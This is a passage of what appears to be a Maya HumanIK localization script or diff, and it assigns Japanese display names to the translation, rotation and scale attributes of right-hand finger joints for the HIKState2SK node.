ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISy", "右手中指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISz", "右手中指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreR", "右手中指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRx", "右手中指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRy", "右手中指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRz", "右手中指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostR", "右手中指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRx", "右手中指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRy", "右手中指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRz", "右手中指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1T", "右手薬指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Tx", "右手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Ty", "右手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Tz", "右手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1R", "右手薬指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Rx", "右手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Ry", "右手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Rz", "右手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1S", "右手薬指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sx", "右手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sy", "右手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sz", "右手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PGX", "右手薬指 1 の PGX " ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ROrder", "右手薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1SC", "右手薬指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1IS", "右手薬指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISx", "右手薬指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISy", "右手薬指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISz", "右手薬指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreR", "右手薬指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRx", "右手薬指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRy", "右手薬指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRz", "右手薬指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostR", "右手薬指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRx", "右手薬指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRy", "右手薬指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRz", "右手薬指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2T", "右手薬指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Tx", "右手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Ty", "右手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Tz", "右手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2R", "右手薬指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Rx", "右手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Ry", "右手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Rz", "右手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2S", "右手薬指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sx", "右手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sy", "右手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sz", "右手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PGX", "右手薬指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ROrder", "右手薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2SC", "右手薬指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2IS", "右手薬指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISx", "右手薬指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISy", "右手薬指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISz", "右手薬指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreR", "右手薬指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRx", "右手薬指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRy", "右手薬指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRz", "右手薬指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostR", "右手薬指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRx", "右手薬指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRy", "右手薬指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRz", "右手薬指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3T", "右手薬指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Tx", "右手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Ty", "右手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Tz", "右手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3R", "右手薬指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Rx", "右手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Ry", "右手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Rz", "右手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3S", "右手薬指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sx", "右手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sy", "右手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sz", "右手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PGX", "右手薬指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ROrder", "右手薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3SC", "右手薬指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3IS", "右手薬指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISx", "右手薬指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISy", "右手薬指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISz", "右手薬指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreR", "右手薬指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRx", "右手薬指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRy", "右手薬指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRz", "右手薬指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostR", "右手薬指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRx", "右手薬指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRy", "右手薬指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRz", "右手薬指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4T", "右手薬指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Tx", "右手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Ty", "右手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Tz", "右手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4R", "右手薬指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Rx", "右手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Ry", "右手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Rz", "右手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4S", "右手薬指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sx", "右手薬指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sy", "右手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sz", "右手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PGX", "右手薬指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ROrder", "右手薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4SC", "右手薬指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4IS", "右手薬指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISx", "右手薬指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISy", "右手薬指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISz", "右手薬指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreR", "右手薬指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRx", "右手薬指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRy", "右手薬指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRz", "右手薬指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostR", "右手薬指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRx", "右手薬指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRy", "右手薬指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRz", "右手薬指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1T", "右手小指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Tx", "右手小指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Ty", "右手小指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Tz", "右手小指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1R", "右手小指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Rx", "右手小指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Ry", "右手小指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Rz", "右手小指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1S", "右手小指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sx", "右手小指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sy", "右手小指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sz", "右手小指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PGX", "右手小指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ROrder", "右手小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1SC", "右手小指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1IS", "右手小指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISx", "右手小指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISy", "右手小指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISz", "右手小指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreR", "右手小指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRx", "右手小指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRy", "右手小指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRz", "右手小指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostR", "右手小指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRx", "右手小指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRy", "右手小指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRz", "右手小指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2T", "右手小指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Tx", "右手小指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Ty", "右手小指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Tz", "右手小指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2R", "右手小指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Rx", "右手小指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Ry", "右手小指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Rz", "右手小指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2S", "右手小指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sx", "右手小指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sy", "右手小指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sz", "右手小指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PGX", "右手小指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ROrder", "右手小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2SC", "右手小指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2IS", "右手小指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISx", "右手小指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISy", "右手小指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISz", "右手小指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreR", "右手小指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRx", "右手小指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRy", "右手小指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRz", "右手小指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostR", "右手小指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRx", "右手小指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRy", "右手小指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRz", "右手小指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3T", "右手小指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Tx", "右手小指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Ty", "右手小指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Tz", "右手小指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3R", "右手小指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Rx", "右手小指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Ry", "右手小指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Rz", "右手小指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3S", "右手小指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sx", "右手小指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sy", "右手小指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sz", "右手小指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PGX", "右手小指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ROrder", "右手小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3SC", "右手小指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3IS", "右手小指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISx", "右手小指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISy", "右手小指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISz", "右手小指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreR", "右手小指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRx", "右手小指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRy", "右手小指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRz", "右手小指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostR", "右手小指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRx", "右手小指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRy", "右手小指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRz", "右手小指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4T", "右手小指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Tx", "右手小指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Ty", "右手小指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Tz", "右手小指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4R", "右手小指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Rx", "右手小指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Ry", "右手小指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Rz", "右手小指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4S", "右手小指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sx", "右手小指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sy", "右手小指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sz", "右手小指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PGX", "右手小指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ROrder", "右手小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4SC", "右手小指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4IS", "右手小指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISx", "右手小指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISy", "右手小指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISz", "右手小指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreR", "右手小指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRx", "右手小指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRy", "右手小指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRz", "右手小指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostR", "右手小指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRx", "右手小指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRy", "右手小指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRz", "右手小指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1T", "右手追加指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Tx", "右手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Ty", "右手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Tz", "右手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1R", "右手追加指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Rx", "右手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Ry", "右手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Rz", "右手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1S", "右手追加指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sx", "右手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sy", "右手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sz", "右手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PGX", "右手追加指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ROrder", "右手追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1SC", "右手追加指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1IS", "右手追加指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISx", "右手追加指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISy", "右手追加指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISz", "右手追加指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreR", "右手追加指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRx", "右手追加指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRy", "右手追加指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRz", "右手追加指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostR", "右手追加指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRx", "右手追加指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRy", "右手追加指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRz", "右手追加指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2T", "右手追加指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Tx", "右手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Ty", "右手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Tz", "右手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2R", "右手追加指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Rx", "右手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Ry", "右手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Rz", "右手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2S", "右手追加指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sx", "右手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sy", "右手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sz", "右手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PGX", "右手追加指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ROrder", "右手追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2SC", "右手追加指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2IS", "右手追加指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISx", "右手追加指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISy", "右手追加指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISz", "右手追加指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreR", "右手追加指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRx", "右手追加指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRy", "右手追加指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRz", "右手追加指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostR", "右手追加指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRx", "右手追加指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRy", "右手追加指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRz", "右手追加指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3T", "右手追加指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Tx", "右手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Ty", "右手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Tz", "右手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3R", "右手追加指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Rx", "右手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Ry", "右手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Rz", "右手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3S", "右手追加指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sx", "右手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sy", "右手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sz", "右手追加指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PGX", "右手追加指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ROrder", "右手追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3SC", "右手追加指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3IS", "右手追加指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISx", "右手追加指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISy", "右手追加指 3 ISy" ); 